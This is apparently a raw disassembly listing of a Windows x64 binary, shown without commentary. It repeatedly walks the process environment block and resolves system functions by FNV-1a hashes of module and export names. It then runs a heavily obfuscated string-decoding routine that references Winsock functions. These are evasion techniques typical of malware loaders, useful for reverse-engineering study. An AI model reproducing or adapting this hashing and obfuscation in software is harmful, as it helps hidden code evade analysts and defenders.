mov rcx, qword [rax + 0x18]
mov rax, qword [rcx + 0x10]
mov r15, qword [rax]
mov rdi, r15
movups xmm0, xmmword [rdi + 0x58]
movd eax, xmm0
sub ax, 8
test esi, esi
je 0x140111eab
psrldq xmm0, 8
movq rcx, xmm0
movzx eax, ax
shr rax, 1
lea r8, [rcx + rax*2]
mov edx, 0x811c9dc5
jmp 0x140111e9e
movsx eax, byte [rcx]
xor eax, edx
imul edx, eax, 0x1000193
add rcx, 2
cmp rcx, r8
jne 0x140111e8f
cmp edx, esi
jne 0x140111f7b
mov r9, qword [rdi + 0x30]
movsxd rax, dword [r9 + 0x3c]
mov rax, qword [rax + r9 + 0x88]
mov r10d, eax
add r10, r9
shr rax, 0x20
cmp r10, r9
je 0x140111f7b
mov r11d, dword [r10 + 0x18]
test r11d, r11d
je 0x140111f7b
mov ebx, dword [r10 + 0x20]
dec r11d
lea rdx, [rbx + r11*4]
mov r8d, dword [rdx + r9]
add r8, r9
mov edx, 0x811c9dc5
jmp 0x140111eff
movsx ecx, cl
xor ecx, edx
imul edx, ecx, 0x1000193
mov cl, byte [r8]
inc r8
test cl, cl
jne 0x140111ef4
cmp edx, r14d
je 0x140111f15
test r11d, r11d
jne 0x140111edf
jmp 0x140111f7b
mov r8d, dword [r10 + 0x1c]
add r8, r9
mov edx, dword [r10 + 0x24]
add rdx, r9
movzx edx, word [rdx + r11*2]
mov ebx, dword [r8 + rdx*4]
add rbx, r9
cmp rbx, r10
jbe 0x140111f93
lea rcx, [r10 + rax]
cmp rbx, rcx
jae 0x140111f93
mov eax, 0x811c9dc5
mov esi, eax
mov r14d, eax
mov ecx, 1
mov al, byte [rbx]
cmp al, 0x2e
je 0x140111f6f
movsx eax, al
xor eax, esi
imul esi, eax, 0x1000193
add rbx, rcx
jmp 0x140111f4c
movsx eax, al
xor eax, r14d
imul r14d, eax, 0x1000193
add rbx, rcx
mov al, byte [rbx]
test al, al
jne 0x140111f62
mov rdi, qword [r15]
mov rax, qword [rdi]
mov rdi, rax
cmp rax, r15
je 0x140111f90
cmp qword [rax + 0x30], r12
jne 0x140111e64
mov rbx, r12
mov qword [0x14017c6f0], rbx
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
xor edx, edx
mov rcx, rax
call rbx
mov rdx, qword [0x14017c6e8]
test rdx, rdx
jne 0x14011210d
mov esi, r12d
mov r14d, 0xb3002016
mov rax, qword gs:[0x60]
mov rcx, qword [rax + 0x18]
mov rax, qword [rcx + 0x10]
mov r15, qword [rax]
mov rdi, r15
movups xmm0, xmmword [rdi + 0x58]
movd eax, xmm0
sub ax, 8
test esi, esi
je 0x14011201e
psrldq xmm0, 8
movq rcx, xmm0
movzx eax, ax
shr rax, 1
lea r8, [rcx + rax*2]
mov edx, 0x811c9dc5
jmp 0x140112011
movsx eax, byte [rcx]
xor eax, edx
imul edx, eax, 0x1000193
add rcx, 2
cmp rcx, r8
jne 0x140112002
cmp edx, esi
jne 0x1401120ee
mov r9, qword [rdi + 0x30]
movsxd rax, dword [r9 + 0x3c]
mov rax, qword [rax + r9 + 0x88]
mov r10d, eax
add r10, r9
shr rax, 0x20
cmp r10, r9
je 0x1401120ee
mov r11d, dword [r10 + 0x18]
test r11d, r11d
je 0x1401120ee
mov ebx, dword [r10 + 0x20]
dec r11d
lea rdx, [rbx + r11*4]
mov r8d, dword [rdx + r9]
add r8, r9
mov edx, 0x811c9dc5
jmp 0x140112072
movsx ecx, cl
xor ecx, edx
imul edx, ecx, 0x1000193
mov cl, byte [r8]
inc r8
test cl, cl
jne 0x140112067
cmp edx, r14d
je 0x140112088
test r11d, r11d
jne 0x140112052
jmp 0x1401120ee
mov r8d, dword [r10 + 0x1c]
add r8, r9
mov edx, dword [r10 + 0x24]
add rdx, r9
movzx edx, word [rdx + r11*2]
mov edx, dword [r8 + rdx*4]
add rdx, r9
cmp rdx, r10
jbe 0x140112106
lea rcx, [r10 + rax]
cmp rdx, rcx
jae 0x140112106
mov eax, 0x811c9dc5
mov esi, eax
mov r14d, eax
mov ecx, 1
mov al, byte [rdx]
cmp al, 0x2e
je 0x1401120e2
movsx eax, al
xor eax, esi
imul esi, eax, 0x1000193
add rdx, rcx
jmp 0x1401120bf
movsx eax, al
xor eax, r14d
imul r14d, eax, 0x1000193
add rdx, rcx
mov al, byte [rdx]
test al, al
jne 0x1401120d5
mov rdi, qword [r15]
mov rax, qword [rdi]
mov rdi, rax
cmp rax, r15
je 0x140112103
cmp qword [rax + 0x30], r12
jne 0x140111fd7
mov rdx, r12
mov qword [0x14017c6e8], rdx
xor ecx, ecx
call rdx
mov rdx, qword [0x14017c6e0]
test rdx, rdx
jne 0x140112277
mov esi, r12d
mov r14d, 0x2fd4df39
mov rax, qword gs:[0x60]
mov rcx, qword [rax + 0x18]
mov rax, qword [rcx + 0x10]
mov r15, qword [rax]
mov rdi, r15
movups xmm0, xmmword [rdi + 0x58]
movd eax, xmm0
sub ax, 8
test esi, esi
je 0x140112188
psrldq xmm0, 8
movq rcx, xmm0
movzx eax, ax
shr rax, 1
lea r8, [rcx + rax*2]
mov edx, 0x811c9dc5
jmp 0x14011217b
movsx eax, byte [rcx]
xor eax, edx
imul edx, eax, 0x1000193
add rcx, 2
cmp rcx, r8
jne 0x14011216c
cmp edx, esi
jne 0x140112258
mov r9, qword [rdi + 0x30]
movsxd rax, dword [r9 + 0x3c]
mov rax, qword [rax + r9 + 0x88]
mov r10d, eax
add r10, r9
shr rax, 0x20
cmp r10, r9
je 0x140112258
mov r11d, dword [r10 + 0x18]
test r11d, r11d
je 0x140112258
mov ebx, dword [r10 + 0x20]
dec r11d
lea rdx, [rbx + r11*4]
mov r8d, dword [rdx + r9]
add r8, r9
mov edx, 0x811c9dc5
jmp 0x1401121dc
movsx ecx, cl
xor ecx, edx
imul edx, ecx, 0x1000193
mov cl, byte [r8]
inc r8
test cl, cl
jne 0x1401121d1
cmp edx, r14d
je 0x1401121f2
test r11d, r11d
jne 0x1401121bc
jmp 0x140112258
mov r8d, dword [r10 + 0x1c]
add r8, r9
mov edx, dword [r10 + 0x24]
add rdx, r9
movzx edx, word [rdx + r11*2]
mov edx, dword [r8 + rdx*4]
add rdx, r9
cmp rdx, r10
jbe 0x140112270
lea rcx, [r10 + rax]
cmp rdx, rcx
jae 0x140112270
mov eax, 0x811c9dc5
mov esi, eax
mov r14d, eax
mov ecx, 1
mov al, byte [rdx]
cmp al, 0x2e
je 0x14011224c
movsx eax, al
xor eax, esi
imul esi, eax, 0x1000193
add rdx, rcx
jmp 0x140112229
movsx eax, al
xor eax, r14d
imul r14d, eax, 0x1000193
add rdx, rcx
mov al, byte [rdx]
test al, al
jne 0x14011223f
mov rdi, qword [r15]
mov rax, qword [rdi]
mov rdi, rax
cmp rax, r15
je 0x14011226d
cmp qword [rax + 0x30], r12
jne 0x140112141
mov rdx, r12
mov qword [0x14017c6e0], rdx
xor ecx, ecx
call rdx
mov rdx, qword [0x14017c6d8]
test rdx, rdx
jne 0x1401123e1
mov esi, r12d
mov r14d, 0xe80fd3a
mov rax, qword gs:[0x60]
mov rcx, qword [rax + 0x18]
mov rax, qword [rcx + 0x10]
mov r15, qword [rax]
mov rdi, r15
movups xmm0, xmmword [rdi + 0x58]
movd eax, xmm0
sub ax, 8
test esi, esi
je 0x1401122f2
psrldq xmm0, 8
movq rcx, xmm0
movzx eax, ax
shr rax, 1
lea r8, [rcx + rax*2]
mov edx, 0x811c9dc5
jmp 0x1401122e5
movsx eax, byte [rcx]
xor eax, edx
imul edx, eax, 0x1000193
add rcx, 2
cmp rcx, r8
jne 0x1401122d6
cmp edx, esi
jne 0x1401123c2
mov r9, qword [rdi + 0x30]
movsxd rax, dword [r9 + 0x3c]
mov rax, qword [rax + r9 + 0x88]
mov r10d, eax
add r10, r9
shr rax, 0x20
cmp r10, r9
je 0x1401123c2
mov r11d, dword [r10 + 0x18]
test r11d, r11d
je 0x1401123c2
mov ebx, dword [r10 + 0x20]
dec r11d
lea rdx, [rbx + r11*4]
mov r8d, dword [rdx + r9]
add r8, r9
mov edx, 0x811c9dc5
jmp 0x140112346
movsx ecx, cl
xor ecx, edx
imul edx, ecx, 0x1000193
mov cl, byte [r8]
inc r8
test cl, cl
jne 0x14011233b
cmp edx, r14d
je 0x14011235c
test r11d, r11d
jne 0x140112326
jmp 0x1401123c2
mov r8d, dword [r10 + 0x1c]
add r8, r9
mov edx, dword [r10 + 0x24]
add rdx, r9
movzx edx, word [rdx + r11*2]
mov edx, dword [r8 + rdx*4]
add rdx, r9
cmp rdx, r10
jbe 0x1401123da
lea rcx, [r10 + rax]
cmp rdx, rcx
jae 0x1401123da
mov eax, 0x811c9dc5
mov esi, eax
mov r14d, eax
mov ecx, 1
mov al, byte [rdx]
cmp al, 0x2e
je 0x1401123b6
movsx eax, al
xor eax, esi
imul esi, eax, 0x1000193
add rdx, rcx
jmp 0x140112393
movsx eax, al
xor eax, r14d
imul r14d, eax, 0x1000193
add rdx, rcx
mov al, byte [rdx]
test al, al
jne 0x1401123a9
mov rdi, qword [r15]
mov rax, qword [rdi]
mov rdi, rax
cmp rax, r15
je 0x1401123d7
cmp qword [rax + 0x30], r12
jne 0x1401122ab
mov rdx, r12
mov qword [0x14017c6d8], rdx
xor ecx, ecx
call rdx
cmp qword [0x14017c6d0], r12
jne 0x14011254a
mov esi, r12d
mov r14d, 0xa52bcaf9
mov rax, qword gs:[0x60]
mov rcx, qword [rax + 0x18]
mov rax, qword [rcx + 0x10]
mov r15, qword [rax]
mov rdi, r15
movups xmm0, xmmword [rdi + 0x58]
movd eax, xmm0
sub ax, 8
test esi, esi
je 0x140112459
psrldq xmm0, 8
movq rcx, xmm0
movzx eax, ax
shr rax, 1
lea r8, [rcx + rax*2]
mov edx, 0x811c9dc5
jmp 0x14011244c
movsx eax, byte [rcx]
xor eax, edx
imul edx, eax, 0x1000193
add rcx, 2
cmp rcx, r8
jne 0x14011243d
cmp edx, esi
jne 0x14011252b
mov r10, qword [rdi + 0x30]
movsxd rax, dword [r10 + 0x3c]
mov rax, qword [rax + r10 + 0x88]
mov r11d, eax
add r11, r10
shr rax, 0x20
cmp r11, r10
je 0x14011252b
mov r9d, dword [r11 + 0x18]
test r9d, r9d
je 0x14011252b
mov ebx, dword [r11 + 0x20]
dec r9d
lea rdx, [rbx + r9*4]
mov r8d, dword [rdx + r10]
add r8, r10
mov edx, 0x811c9dc5
jmp 0x1401124ad
movsx ecx, cl
xor ecx, edx
imul edx, ecx, 0x1000193
mov cl, byte [r8]
inc r8
test cl, cl
jne 0x1401124a2
cmp edx, r14d
je 0x1401124c3
test r9d, r9d
jne 0x14011248d
jmp 0x14011252b
mov r8d, dword [r11 + 0x1c]
add r8, r10
mov edx, dword [r11 + 0x24]
add rdx, r10
movzx edx, word [rdx + r9*2]
mov r9d, dword [r8 + rdx*4]
add r9, r10
cmp r9, r11
jbe 0x140112543
lea rcx, [r11 + rax]
cmp r9, rcx
jae 0x140112543
mov eax, 0x811c9dc5
mov esi, eax
mov r14d, eax
mov ecx, 1
mov al, byte [r9]
cmp al, 0x2e
je 0x14011251e
movsx eax, al
xor eax, esi
imul esi, eax, 0x1000193
add r9, rcx
jmp 0x1401124fa
movsx eax, al
xor eax, r14d
imul r14d, eax, 0x1000193
add r9, rcx
mov al, byte [r9]
test al, al
jne 0x140112511
mov rdi, qword [r15]
mov rax, qword [rdi]
mov rdi, rax
cmp rax, r15
je 0x140112540
cmp qword [rax + 0x30], r12
jne 0x140112412
mov r9, r12
mov qword [0x14017c6d0], r9
mov r8, qword [0x14017c700]
test r8, r8
jne 0x1401125be
mov rax, qword gs:[0x60]
mov rcx, qword [rax + 0x18]
mov rax, qword [rcx + 0x10]
mov r10, qword [rax]
mov r8, r10
mov rcx, qword [r8 + 0x60]
movzx eax, word [r8 + 0x58]
shr rax, 1
lea r9, [rcx + rax*2]
mov edx, 0x811c9dc5
cmp rcx, r9
je 0x1401125a3
movsx eax, byte [rcx]
xor eax, edx
imul edx, eax, 0x1000193
add rcx, 2
cmp rcx, r9
jne 0x140112587
cmp edx, 0x610c0de3
je 0x140112614
mov rax, qword [r8]
mov r8, rax
cmp rax, r10
je 0x1401125b4
cmp qword [rax + 0x30], r12
jne 0x14011256d
mov r8, r12
mov qword [0x14017c700], r8
movsxd rax, dword [r8 + 0x3c]
mov r10d, dword [rax + r8 + 0x88]
mov r9d, r12d
mov r11d, dword [r10 + r8 + 0x20]
mov ebx, 1
mov eax, r9d
lea rcx, [r11 + rax*4]
mov edx, dword [rcx + r8]
add rdx, r8
mov ecx, 0x811c9dc5
mov al, byte [rdx]
add rdx, rbx
test al, al
je 0x14011260f
movsx eax, al
xor eax, ecx
imul ecx, eax, 0x1000193
mov al, byte [rdx]
add rdx, rbx
test al, al
jne 0x1401125f3
cmp ecx, 0xe463da3c
je 0x14011261a
add r9d, ebx
jmp 0x1401125d7
mov r8, qword [r8 + 0x30]
jmp 0x1401125b7
mov edx, dword [r10 + r8 + 0x1c]
add rdx, r8
mov ecx, dword [r10 + r8 + 0x24]
add rcx, r8
mov eax, r9d
movzx ecx, word [rcx + rax*2]
mov eax, dword [rdx + rcx*4]
add rax, r8
xor ecx, ecx
call rax
mov r12, rax
mov r10, qword [0x14017c778]
xor ebx, ebx
test r10, r10
jne 0x1401127b8
mov esi, ebx
mov r14d, 0x820621f3
mov rcx, qword gs:[0x60]
mov rdx, qword [rcx + 0x18]
mov rcx, qword [rdx + 0x10]
mov r15, qword [rcx]
mov rdi, r15
movups xmm0, xmmword [rdi + 0x58]
movd eax, xmm0
sub ax, 8
test esi, esi
je 0x1401126b6
psrldq xmm0, 8
movq rcx, xmm0
movzx eax, ax
shr rax, 1
lea r8, [rcx + rax*2]
mov edx, 0x811c9dc5
jmp 0x1401126a9
movsx eax, byte [rcx]
xor eax, edx
imul edx, eax, 0x1000193
add rcx, 2
cmp rcx, r8
jne 0x14011269a
cmp edx, esi
jne 0x140112799
mov r9, qword [rdi + 0x30]
movsxd rax, dword [r9 + 0x3c]
mov rax, qword [rax + r9 + 0x88]
mov r11d, eax
add r11, r9
shr rax, 0x20
cmp r11, r9
je 0x140112799
mov r10d, dword [r11 + 0x18]
test r10d, r10d
je 0x140112799
mov ebx, dword [r11 + 0x20]
dec r10d
lea rdx, [rbx + r10*4]
mov r8d, dword [rdx + r9]
add r8, r9
mov edx, 0x811c9dc5
jmp 0x14011270a
movsx ecx, cl
xor ecx, edx
imul edx, ecx, 0x1000193
mov cl, byte [r8]
inc r8
test cl, cl
jne 0x1401126ff
cmp edx, r14d
je 0x140112722
test r10d, r10d
jne 0x1401126ea
xor ebx, ebx
jmp 0x140112799
mov r8d, dword [r11 + 0x1c]
add r8, r9
mov edx, dword [r11 + 0x24]
add rdx, r9
movzx edx, word [rdx + r10*2]
mov r10d, dword [r8 + rdx*4]
add r10, r9
cmp r10, r11
jbe 0x14011282a
lea rcx, [r11 + rax]
cmp r10, rcx
jae 0x14011282a
mov eax, 0x811c9dc5
mov esi, eax
mov r14d, eax
mov ecx, 1
mov al, byte [r10]
cmp al, 0x2e
je 0x140112778
movsx eax, al
xor eax, esi
imul esi, eax, 0x1000193
add r10, rcx
jmp 0x140112761
add r10, rcx
xor ebx, ebx
jmp 0x14011278f
movsx eax, al
xor eax, r14d
imul r14d, eax, 0x1000193
add r10, rcx
mov al, byte [r10]
test al, al
jne 0x14011277f
mov rdi, qword [r15]
mov rax, qword [rdi]
mov rdi, rax
cmp rax, r15
je 0x1401127ae
cmp qword [rax + 0x30], rbx
jne 0x14011266f
mov r10, rbx
mov qword [0x14017c778], r10
lea r9, [rbp + 0x590]
mov edx, 0x5000
mov r8d, 1
mov rcx, r12
call r10
mov r8, qword [0x14017c6f8]
test r8, r8
jne 0x140112944
mov esi, ebx
mov r14d, 0x33b00bc5
mov rax, qword gs:[0x60]
mov rcx, qword [rax + 0x18]
mov rax, qword [rcx + 0x10]
mov r15, qword [rax]
mov rdi, r15
movups xmm0, xmmword [rdi + 0x58]
movd eax, xmm0
sub ax, 8
test esi, esi
je 0x14011284a
psrldq xmm0, 8
movq rcx, xmm0
movzx eax, ax
shr rax, 1
lea r8, [rcx + rax*2]
mov edx, 0x811c9dc5
jmp 0x14011283d
xor ebx, ebx
jmp 0x1401127b1
movsx eax, byte [rcx]
xor eax, edx
imul edx, eax, 0x1000193
add rcx, 2
cmp rcx, r8
jne 0x14011282e
cmp edx, esi
jne 0x140112925
mov r9, qword [rdi + 0x30]
movsxd rax, dword [r9 + 0x3c]
mov rax, qword [rax + r9 + 0x88]
mov r10d, eax
add r10, r9
shr rax, 0x20
cmp r10, r9
je 0x140112925
mov r11d, dword [r10 + 0x18]
test r11d, r11d
je 0x140112925
mov ebx, dword [r10 + 0x20]
dec r11d
lea rdx, [rbx + r11*4]
mov r8d, dword [rdx + r9]
add r8, r9
mov edx, 0x811c9dc5
jmp 0x14011289e
movsx ecx, cl
xor ecx, edx
imul edx, ecx, 0x1000193
mov cl, byte [r8]
inc r8
test cl, cl
jne 0x140112893
cmp edx, r14d
je 0x1401128b6
test r11d, r11d
jne 0x14011287e
xor ebx, ebx
jmp 0x140112925
mov r8d, dword [r10 + 0x1c]
add r8, r9
mov edx, dword [r10 + 0x24]
add rdx, r9
movzx edx, word [rdx + r11*2]
mov r8d, dword [r8 + rdx*4]
add r8, r9
cmp r8, r10
jbe 0x14011293d
lea rcx, [r10 + rax]
cmp r8, rcx
jae 0x14011293d
mov eax, 0x811c9dc5
mov esi, eax
mov r14d, eax
mov ecx, 1
mov al, byte [r8]
cmp al, 0x2e
je 0x140112904
movsx eax, al
xor eax, esi
imul esi, eax, 0x1000193
add r8, rcx
jmp 0x1401128ed
add r8, rcx
xor ebx, ebx
jmp 0x14011291b
movsx eax, al
xor eax, r14d
imul r14d, eax, 0x1000193
add r8, rcx
mov al, byte [r8]
test al, al
jne 0x14011290b
mov rdi, qword [r15]
mov rax, qword [rdi]
mov rdi, rax
cmp rax, r15
je 0x14011293a
cmp qword [rax + 0x30], rbx
jne 0x1401127ff
mov r8, rbx
mov qword [0x14017c6f8], r8
mov edx, 0x5000
mov rcx, r12
call r8
mov qword [0], 0x99
xor r12d, r12d
or rsi, 0xffffffffffffffff
cmp byte [0x14017bedd], r12b
jne 0x140113e3b
mov byte [rbp + 0x1d0], 0x66
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp + 0x1d1], xmm0
mov word [rbp + 0x1e1], ax
mov dil, byte [rsp + 0x50]
call fcn.140158170
mov rbx, qword [rax]
call fcn.140158178
mov r10, qword [rax]
mov r9, r12
mov r15d, 1
cmp r9, 0x13
jae 0x1401131a1
movzx r8d, byte [rbp + r9 + 0x1d0]
mov edx, r8d
cmp rbx, r9
ja 0x140113198
lea rax, [r10 + 1]
cmp rbx, rax
jae 0x1401129f1
movabs rcx, 0x352ddab4aac75631
add rcx, r9
mov eax, edx
and rax, rcx
imul rdi, rax, 0xfffffffffffffffe
add rdi, rdx
add rdi, rcx
sub dil, 0x57
jmp 0x140112a2b
je 0x14011313f
lea rax, [r10 + 2]
cmp rbx, rax
je 0x1401130f5
lea rax, [r10 + 5]
cmp rbx, rax
je 0x1401130ce
lea rax, [r10 + 3]
cmp rbx, rax
je 0x1401130b1
lea rax, [r10 + 4]
cmp rbx, rax
je 0x140113097
cmp r10, r9
ja 0x14011318f
lea rax, [r10 + 0x28]
cmp rbx, rax
jae 0x140112a54
lea ecx, [r9 + 5]
mov al, cl
and al, r8b
add al, al
sub cl, al
lea edi, [r8 + rcx]
sub dil, 0x23
jmp 0x140112a95
lea rax, [r10 + 1]
cmp rbx, rax
je 0x140113060
lea rax, [r10 + 2]
cmp rbx, rax
je 0x140113049
lea rax, [r10 + 6]
cmp rbx, rax
je 0x14011302f
lea rax, [r10 + 4]
cmp rbx, rax
je 0x140112fe7
lea rax, [r10 + 3]
cmp rbx, rax
je 0x140112fcd
lea rax, [r10 + rbx]
cmp rax, r9
jbe 0x140112d28
lea rax, [r10 + 0x5a]
cmp rbx, rax
je 0x140112d0b
lea rax, [r10 + 9]
cmp rbx, rax
je 0x140112cf1
lea rax, [r10 + 0x200]
cmp rbx, rax
je 0x140112cd7
lea rax, [r10 + 1]
cmp rbx, rax
je 0x140112cba
lea rax, [r10 + 0x10]
cmp rbx, rax
je 0x140112aa2
mov rbx, rax
lea r10, [rax + 0x10]
lea rax, [r10 + 0x400]
cmp rbx, rax
jb 0x140113173
lea rax, [r10 + 3]
cmp rbx, rax
jb 0x140112b6a
lea rax, [r10 + 0x28]
cmp rbx, rax
jb 0x140112c15
lea rax, [r10 + 0x61]
cmp rbx, rax
jb 0x140112bf3
mov rbx, rax
lea r10, [rax + 5]
lea rax, [r10 + 5]
cmp rbx, rax
ja 0x140112bd5
lea rax, [r10 + 0x42]
cmp rbx, rax
ja 0x140112bb8
lea rax, [r10 + 0x41]
cmp rbx, rax
ja 0x140112b9e
lea rax, [r10 + 8]
cmp rbx, rax
ja 0x140112b84
lea rax, [r10 + 0x80]
cmp rbx, rax
ja 0x140112aa2
mov rbx, rax
lea r10, [rax + 0x80]
jmp 0x140112aa2
lea ecx, [r9 + 0x39]
mov al, cl
and al, r8b
add al, al
sub cl, al
lea edi, [r8 + rcx]
add dil, 0x71
jmp 0x140112a2b
lea ecx, [r9 - 0x3a]
mov al, cl
and al, r8b
add al, al
sub cl, al
lea edi, [r8 + rcx]
sub dil, 0x6a
jmp 0x1401130ac
lea ecx, [r9 - 0x60]
mov al, cl
and al, r8b
add al, al
sub cl, al
lea edi, [r8 + rcx]
sub dil, 0x60
jmp 0x1401130e3
lea ecx, [r9 - 0x24]
mov al, cl
and al, r8b
add al, al
sub cl, al
lea edi, [r8 + rcx]
sub dil, 4
mov r11b, r9b
jmp 0x140112fff
lea edx, [r9 + 0x18]
mov ecx, Ordinal_45
mov al, dl
and al, r8b
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r8b
jmp 0x14011315c
lea ecx, [r9 + 0x23]
mov al, cl
and al, r8b
add al, al
sub cl, al
lea edi, [r8 + rcx]
add dil, 0xb
mov byte [rbp + r9 + 0x1d0], dil
jmp 0x14011316b
lea ecx, [r9 - 3]
mov al, cl
and al, r8b
add al, al
sub cl, al
lea edi, [r8 + rcx]
add dil, 0x15
lea rax, [r10 + rbx]
cmp rax, 0xa
je 0x140112fb8
lea rax, [r10 + 0xa]
cmp rbx, rax
jbe 0x140112e12
lea ecx, [r9 - 0x53]
mov al, cl
and al, r8b
add al, al
sub cl, al
lea edi, [r8 + rcx]
add dil, 0x45
cmp rbx, 0x1000
jae 0x140112f6e
lea rax, [r10 + 0x1000]
cmp rbx, rax
jbe 0x140112eab
lea edx, [r9 - 0x4e]
mov al, dl
and al, r8b
mov ecx, reloc.WS2_32.dll_recvfrom
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r8b
cmp r10, 6
jb 0x140112c08
mov r11b, r9b
lea ecx, [r11 - 0x7a]
mov al, cl
and al, r8b
add al, al
sub cl, al
add cl, r8b
lea edi, [rcx*2 - 0x54]
jmp 0x140113078
mov r11b, r9b
lea ecx, [r11 + 0x5a]
mov al, cl
and al, r8b
add al, al
sub cl, al
lea edi, [r8 + rcx]
sub dil, 0x76
jmp 0x140112fff
lea ecx, [r9 - 0x6a]
mov al, cl
and al, r8b
add al, al
sub cl, al
lea edi, [r8 + rcx]
sub dil, 0x1a
jmp 0x1401130e3
lea ecx, [r9 + 0x70]
mov al, cl
and al, r8b
add al, al
sub cl, al
lea edi, [r8 + rcx]
sub dil, 0x10
jmp 0x1401130ac
lea ecx, [r9 + 0xe]
mov al, cl
and al, r8b
add al, al
sub cl, al
lea edi, [r8 + rcx]
sub dil, 0x62
mov r11b, r9b
jmp 0x140113078
lea rax, [r10 + 0x41]
cmp rbx, rax
jae 0x140112d4b
lea ecx, [r9 + 0x31]
mov al, cl
and al, r8b
add al, al
sub cl, al
lea edi, [r8 + rcx]
sub dil, 0x57
jmp 0x140112c2a
lea rax, [r10 + 1]
cmp rbx, rax
jne 0x140112d6e
lea ecx, [r9 + 0xa]
mov al, cl
and al, r8b
add al, al
sub cl, al
lea edi, [r8 + rcx]
sub dil, 0x46
jmp 0x14011315c
lea rax, [r10 + 2]
cmp rbx, rax
jne 0x140112d95
lea edx, [r9 + 0x6c]
mov al, dl
and al, r8b
mov ecx, 6
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r8b
jmp 0x140113112
lea rax, [r10 + 3]
cmp rbx, rax
jne 0x140112dbf
mov r11b, r9b
lea edx, [r11 - 0x32]
mov ecx, Ordinal_50
mov al, dl
and al, r8b
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r8b
jmp 0x140112fff
lea rax, [r10 + 4]
cmp rbx, rax
jne 0x140112de4
lea edx, [r9 - 0x6e]
mov al, dl
and al, r8b
mov ecx, r15d
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r8b
jmp 0x1401130e3
lea rax, [r10 + 7]
cmp rbx, rax
jne 0x140112c2a
mov r11b, r9b
lea edx, [r11 + 0x1a]
mov al, dl
and al, r8b
mov ecx, Ordinal_41
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r8b
jmp 0x140113078
lea rax, [r10 + 1]
cmp rbx, rax
jne 0x140112e38
mov r11b, r9b
lea ecx, [r11 + 0xf]
mov al, cl
and al, r8b
add al, al
sub cl, al
lea edi, [r8 + rcx]
sub dil, 0x69
jmp 0x140113078
lea rax, [r10 + 2]
cmp rbx, rax
jne 0x140112e5b
lea ecx, [r9 - 0x2d]
mov al, cl
and al, r8b
add al, al
sub cl, al
lea edi, [r8 + rcx]
add dil, 0x3b
jmp 0x1401130c6
lea rax, [r10 + 3]
cmp rbx, rax
jne 0x140112e81
lea ecx, [r9 + 0x35]
mov al, cl
and al, r8b
add al, al
sub cl, al
lea edi, [r8 + rcx]
sub dil, 0x73
mov r11b, r9b
jmp 0x140112f91
lea rax, [r10 + 5]
cmp rbx, rax
jne 0x140112c5a
mov r11b, r9b
lea ecx, [r11 + 0x5b]
mov al, cl
and al, r8b
add al, al
sub cl, al
lea edi, [r8 + rcx]
sub dil, 0x7d
jmp 0x140112fff
lea rax, [r10 + 1]
cmp rbx, rax
jne 0x140112ec2
lea edx, [r9 + 0x14]
mov ecx, Ordinal_60
jmp 0x140112bde
lea rax, [r10 + 2]
cmp rbx, rax
jne 0x140112edc
mov r11b, r9b
lea edx, [r11 - 0x28]
mov ecx, ntohs
jmp 0x140112daa
lea rax, [r10 + 5]
cmp rbx, rax
jne 0x140112eff
lea ecx, [r9 - 0x64]
mov al, cl
and al, r8b
add al, al
sub cl, al
lea edi, [r8 + rcx]
sub dil, 0x44
jmp 0x1401130e3
lea rax, [r10 + 3]
cmp rbx, rax
jne 0x140112f20
mov r11b, r9b
lea edx, [r11 - 2]
mov al, dl
and al, r8b
mov ecx, 7
sub cl, al
lea edi, [rcx + rcx]
jmp 0x140112f8b
lea rax, [r10 + 4]
cmp rbx, rax
jne 0x140112f47
lea edx, [r9 + 0x60]
mov al, dl
and al, r8b
mov ecx, Ordinal_50
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r8b
jmp 0x1401130c6
lea rax, [r10 + 7]
cmp rbx, rax
jne 0x140112c90
lea ecx, [r9 - 0x3e]
mov al, cl
and al, r8b
add al, al
sub cl, al
lea edi, [r8 + rcx]
sub dil, 0x4e
jmp 0x1401130ac
mov r11b, r9b
lea edx, [r11 - 0x18]
mov al, dl
and al, r8b
add al, al
mov dil, byte [rbp + r9 + 0x1d0]
sub dil, al
sub dil, 0x58
add dil, dl
add dil, r8b
add r11b, 0x19
mov al, r11b
and al, r8b
add al, al
mov cl, dil
sub cl, al
add cl, 0x51
add cl, r11b
add cl, r8b
mov byte [rbp + r9 + 0x1d0], cl
jmp 0x1401130e3
mov r11b, r9b
lea ecx, [r11 + 0x4a]
mov al, cl
and al, r8b
add al, al
sub cl, al
lea edi, [rcx - 6]
jmp 0x140112fff
lea ecx, [r9 + 0x15]
mov al, cl
and al, r8b
add al, al
sub cl, al
lea edi, [r8 + rcx]
add dil, 0x6d
jmp 0x140113112
mov r11b, r9b
lea ecx, [r11 - 0x4d]
mov al, cl
and al, r8b
add al, al
sub cl, al
lea edi, [r8 + rcx]
add dil, 0x1b
add r11b, 0x7b
mov al, r11b
and al, r8b
add al, al
sub r11b, al
sub r11b, 0x5d
add r11b, r8b
movzx eax, r11b
mov byte [rbp + r9 + 0x1d0], al
add r10, r15
add rax, r10
sub r9, rax
jmp 0x140113112
lea ecx, [r9 + 0x51]
mov al, cl
and al, r8b
add al, al
sub cl, al
lea edi, [r8 + rcx]
sub dil, 0x37
jmp 0x1401130e6
lea ecx, [r9 + 0x2b]
mov al, cl
and al, r8b
add al, al
sub cl, al
lea edi, [r8 + rcx]
sub dil, 0x2d
jmp 0x1401130c6
mov r11b, r9b
lea ecx, [r11 + 0x67]
mov al, cl
and al, r8b
add al, al
sub cl, al
lea edi, [r8 + rcx]
add dil, 0x2f
sub r11b, 0x49
mov al, r11b
and al, r8b
add al, al
sub r11b, al
add r11b, r8b
sub r11b, r15b
mov byte [rbp + r9 + 0x1d0], r11b
jmp 0x1401130ac
lea ecx, [r9 + 0x41]
mov al, cl
and al, r8b
add al, al
sub cl, al
lea edi, [r8 + rcx]
add dil, 0x39
add r10, r15
jmp 0x1401130c6
lea ecx, [r9 - 0x21]
mov al, cl
and al, r8b
add al, al
sub cl, al
lea edi, [r8 + rcx]
sub dil, 0x19
sub r9, r15
jmp 0x14011316b
lea ecx, [r9 + 0x1b]
mov al, cl
and al, r8b
add al, al
sub cl, al
lea edi, [r8 + rcx]
